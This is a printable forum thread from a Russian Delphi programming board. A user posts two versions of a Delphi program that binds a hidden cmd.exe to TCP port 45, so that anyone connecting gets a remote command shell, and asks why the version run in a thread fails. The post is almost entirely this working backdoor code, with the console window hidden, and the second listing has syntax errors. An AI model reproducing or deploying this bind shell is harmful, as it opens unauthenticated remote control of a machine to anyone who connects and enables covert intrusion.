Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: WinAPI и системное программирование > Shell просто работает, а в потоке нет!


Автор: Delphins 12.8.2007, 12:33
Есть программа. Она биндит шелл на порту. Банально перенаправялет вывод и ввод консоли .
Она работает отлично при вызове из тела программы, но если пытаюсь вставить её в поток, она жутко глючит, 1000 раз открывает консоль, короче что-то не то происходит. Посмотри код может кто увидит что тут не так.
Просто код (работает), вызов из тела программы.
Код


program console;

uses
  SysUtils,
  WinSock,
  Windows,
  WinInet;

const
  BindPort = 45;

function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';

procedure OpenConsoleOnPort( );   // <-- Shell
Var
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;
Begin
  WSAStartup( $202, WSAData ); // Start up socket
  FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 );
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons( BindPort ); // set socket port
  bind( FSocket, SockAddrIn, 16 );
  listen( FSocket, 0 ); // Listen to data
  While true  Do
  Begin
    sHandle := accept( FSocket, Nil, nil ); // Accept data
    If sHandle <> INVALID_SOCKET Then
    Begin
      ZeroMemory( @St, SizeOf( TStartupInfo ) );
      St.cb := SizeOf( TStartupInfo );
      St.wShowWindow := SW_HIDE;
      St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW;
      St.hStdInput := sHandle;
      St.hStdOutput := sHandle;
      St.hStdError := sHandle;
      CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr );
      CloseHandle( sHandle );
      CloseHandle( Pr.hProcess );
      CloseHandle( Pr.hThread );
    End;
  End;
End;
begin
   OpenConsoleOnPort( );
end.




Код где в потоке, не работает...: 
Код

program console;

uses
  SysUtils,
  WinSock,
  Windows,
  WinInet

const
  BindPort = 45;

var
  Thread_BindPort: Cardinal;

function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';

function OpenConsoleOnPort( Parametr: Pointer ): Integer;   // <-- Shell thread
Var
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;
Begin
  WSAStartup( $202, WSAData ); // Start up socket
  FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 );
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons( BindPort ); // set socket port
  bind( FSocket, SockAddrIn, 16 );
  listen( FSocket, 0 ); // Listen to data
  While true  Do
  Begin
    sHandle := accept( FSocket, Nil, nil ); // Accept data
    If sHandle <> INVALID_SOCKET Then
    Begin
      ZeroMemory( @St, SizeOf( TStartupInfo ) );
      St.cb := SizeOf( TStartupInfo );
      St.wShowWindow := SW_HIDE;
      St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW;
      St.hStdInput := sHandle;
      St.hStdOutput := sHandle;
      St.hStdError := sHandle;
      CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr );
      CloseHandle( sHandle );
      CloseHandle( Pr.hProcess );
      CloseHandle( Pr.hThread );
    End;
  End;
End;
begin
     BeginThread( nil, 0, @OpenConsoleOnPort, 0, 0, Thread_BindPort ); // <-- Begin Shell Thread

    While Thread_BindPort <> 0 do
      Sleep( 5000 );
    //WaitForSingleObject( Thread_BindPort, INFINITE );
  end;
end.



Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)